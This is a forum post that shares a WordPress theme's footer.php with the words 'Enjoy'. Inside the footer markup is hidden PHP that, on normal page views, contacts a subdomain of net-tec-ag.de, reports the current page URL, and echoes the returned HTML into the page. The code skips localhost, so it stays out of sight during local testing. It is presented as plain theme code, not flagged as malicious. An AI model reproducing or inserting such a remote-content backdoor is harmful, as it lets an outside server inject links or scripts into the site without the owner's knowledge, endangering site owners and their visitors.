zerobytes |
Valuable expert |
|
|
Joined: Aug 30, 2008 |
Posts: 199 |
|
|
|
|
|
|
|
Code: |
<?php include (TEMPLATEPATH . '/bottom.php'); ?>
</div>
</div>
<div id="footer">
<span class="fleft">
Design : <a href="http://www.crowdpeople.com/?src=ja" >Crowd people</a>
</span>
<span class="fright">
Code support <a href="http://www.emoneycentral.com/">CD Rates</a>, <?php
$defaultHtml = ''; // html to display when no connection or local domain
$linksNum = 2; // number of links to show
## Funktionen definieren, wenn Footer nicht innerhalb von Wordpress genutzt wird
if (!function_exists('is_404')) { function is_404() { return false; } }
if (!function_exists('is_tag')) { function is_tag() { return false; } }
if (!function_exists('is_author')) { function is_author() { return false; } }
if (!function_exists('is_search')) { function is_search() { return false; } }
if (!function_exists('is_date')) { function is_date() { return false; } }
if (!function_exists('is_attachment')) { function is_attachment() { return false; } }
if (!function_exists('is_preview')) { function is_preview() { return false; } }
# Wenn keine 404 Fehlerdatei, dann Anfrage zusammenbasteln
if (is_404() OR is_tag() OR is_author() OR is_search() OR is_date() OR is_attachment() OR is_preview()) { } else {
show_footer_links(
//'localhost', '/php/FLink/src/FLink/script.php',
'net-tec-ag.de', '/FLink/script.php',
3.5, $defaultHtml, $linksNum
);
}
/**
* Show html provided by scripts.php
*
* @param string $requestHost the hostname of the script.php
* @param string $requestUri - the uri/path to the script.php
* @param string $defaultHtml - default html to show if some problem
* @param float $timeout - the request timeout
*/
function show_footer_links($requestHost, $requestUri, $timeout, $defaultHtml,
$linksNum = 1) {
$thisDomain = getenv('HTTP_HOST');
$thisUri = getenv('REQUEST_URI');
$html = $defaultHtml;
// skip if no domain or local domain
if ($thisDomain && !preg_match('/^(localhost|127.0.0.1)(:|$)/s',
$thisDomain)) {
$thisUrl = "http://$thisDomain$thisUri";
$requestUri = $requestUri . '?url=' . urlencode($thisUrl)
. '&linksNum=' . $linksNum;
$requestHost = fill_subdomain($thisUrl, $requestHost);
$content = read_http_url($requestHost, $requestUri, 2.5);
// removing utf-8 BOM signature (if any):
$content = preg_replace('/^(\xEF\xBB\xBF)*\s*</s', '<', $content);
//echo "received: $content";
if (preg_match('/^<!--start-->.+<!--end-->\s*$/s', $content)) {
$html = $content;
}
}
echo $html;
}
function fill_subdomain($url, $requestHost) {
if ($requestHost !== 'localhost') {
if (function_exists('crc32')) {
$crc32 = crc32($url);
$ucrc32 = sprintf('%u', $crc32);
$num = $ucrc32 % 10;
} else {
$num = 0;
}
$subdomain = 'www' . $num . '.';
$requestHost = $subdomain . $requestHost;
//echo $requestHost;
}
return $requestHost;
}
// perfrom pne get http call
function read_http_url($host, $uri, $timeout) {
$start = microtime_float();
$content = '';
$fh = @fsockopen($host, 80, $errno, $errstr, 0.5);
if ($fh && !$errstr) {
if (function_exists('socket_set_timeout')) {
socket_set_timeout($fh, $timeout);
}
socket_set_blocking($fh, 0);
$request = <<<EOD
GET $uri HTTP/1.0
Host: $host
Connection: close
EOD;
$write_err = @fwrite($fh, $request);
while (!feof($fh) && (microtime_float() - $start < $timeout)) {
usleep(5000);
$block = fread($fh, 1024*4);
$content .= $block;
}
fclose($fh);
$content = preg_replace('/^(.+?)(\r\n|\n){2}/s', '', $content);
}
return $content;
}
// precise time in microseconds as float
function microtime_float() {
list($usec, $sec) = explode(' ', microtime());
return ((float)$usec + (float)$sec);
}
?>
</span>
</div>
</div>
<?php wp_footer(); ?>
</body>
</html>
|
Enjoy
ZeroBytes |
|